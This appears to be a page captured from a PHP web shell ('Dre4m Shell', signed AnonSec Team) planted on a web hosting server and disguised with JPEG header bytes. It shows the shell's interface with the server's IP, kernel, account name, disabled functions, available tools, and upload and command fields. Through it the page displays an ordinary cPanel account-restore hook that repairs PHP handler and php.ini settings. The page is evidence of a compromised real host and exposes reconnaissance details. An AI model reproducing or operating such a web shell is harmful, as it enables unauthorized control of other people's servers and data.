ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.115.79
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /scripts/postrestoreacct
#!/bin/bash
# cPanel script hook for account restorations
# Documentation: http://docs.cpanel.net/twiki/bin/view/SoftwareDevelopmentKit/ScriptHooks
# Vanessa V InMotion Hosting 1/23/12

# order of passed variables:
USER=$1
OLDUSER=$2
DOMAIN=$3
HOMEDIR=$4

# Not like this script would be run by itself, but prevent it from doing so (just in case)

if [ $# -lt 3 ];then

	echo "This script can only be executed as a hook to /scripts/restorepkg"
	exit 1

fi

##################################################################################################
# Custom PHP version check
# This will check the users for custom PHP handlers that are not supported on the current server
##################################################################################################

echo 
echo "Checking for custom PHP handlers"

# Check first to see if the user has a home .htaccess with a PHP handler inside

if egrep "^AddHandler application/x-httpd-php5[0-9]" $HOMEDIR/.htaccess >/dev/null ; then

	customphp=1

       	phpver=$(egrep "^AddHandler application/x-httpd-php[0-9][0-9]" $HOMEDIR/.htaccess | head -1 | awk '{print $2}' | cut -d- -f3)

	echo "User has a custom PHP handler: $phpver"

	# This handler has to be custom, so check that it's installed...

	if [ ! -s /usr/local/apache/conf/$phpver.conf ];then

		echo "Used PHP handler is not installed...switching to system default"

		# Remove the handler lines in .htaccess

		sed '/Use PHP/d' -i $HOMEDIR/.htaccess
		sed '/^AddHandler application\/x-httpd-php5[0-9]/d' -i $HOMEDIR/.htaccess

		# Is this .htaccess now empty? If so, remove it!

		if [ ! -s $HOMEDIR/.htaccess ]; then
			rm -f $HOMEDIR/.htaccess
		fi


	fi

else

	customphp=0

fi

##################################################################################################
# PHP.ini check
# This will check the user's custom php.ini for common issues that caused error_log
##################################################################################################

# If the user has a custom php.ini, try to fix it if it's incorrect

if [ -s $HOMEDIR/public_html/php.ini ];then

	# Fix the extension directories, if different
	realextdir=$($(which php-config) --extension-dir)
	oldextdir=$(cat $HOMEDIR/public_html/php.ini |egrep ^extension_dir | head -1 | cut -d= -f2)

	if [ "$realextdir" != "$oldextdir" ] && [ ! -d "$oldextdir" ] ;then

		echo "PHP extension directory ($oldextdir) is incorrect...fixing"
		perl -i -pe "s<$oldextdir><$realextdir>g" $HOMEDIR/public_html/php.ini

	fi

	# Check if we're loading any unsupported modules

	extlist=$(egrep "^extension=" $HOMEDIR/public_html/php.ini | cut -d= -f2 | sed 's/\"//g')

	for ext in $extlist
	do

		if [ ! -f "$realextdir/$ext" ];then
			echo "$ext does not exist...disabling"

			sed "s/extension=$ext/;extension=$ext/g" -i $HOMEDIR/public_html/php.ini

		fi

	done

        # Remove preceding forward slashes from extension names (PHP 5.3 does not like this)

        sed 's/^extension="\//^extension="/g' -i $HOMEDIR/public_html/php.ini
        sed 's/^extension=\//^extension=/g' -i $HOMEDIR/public_html/php.ini

	# Fix the zend extensions

       	zendextlist=$(grep zend_extension $HOMEDIR/public_html/php.ini  | cut -d= -f2 | sed 's/\"//g')

       	for zendext in $zendextlist
       	do

               	if [ ! -f "$zendext" ];then

                        echo "$zendext does not exist...disabling"
			sed '/zend_extension/d' -i $HOMEDIR/public_html/php.ini

               	fi

       	done

	if [ "$customphp" == "0" ];then

                #sed '/zend_extension/d' -i $HOMEDIR/public_html/php.ini
                sed 's/zend_extension/;zend_extension/g' -i $HOMEDIR/public_html/php.ini
                grep zend_extension= /usr/local/lib/php.ini >> $HOMEDIR/public_html/php.ini

	fi
	
fi

exit 0;


Anon7 - 2022
AnonSec Team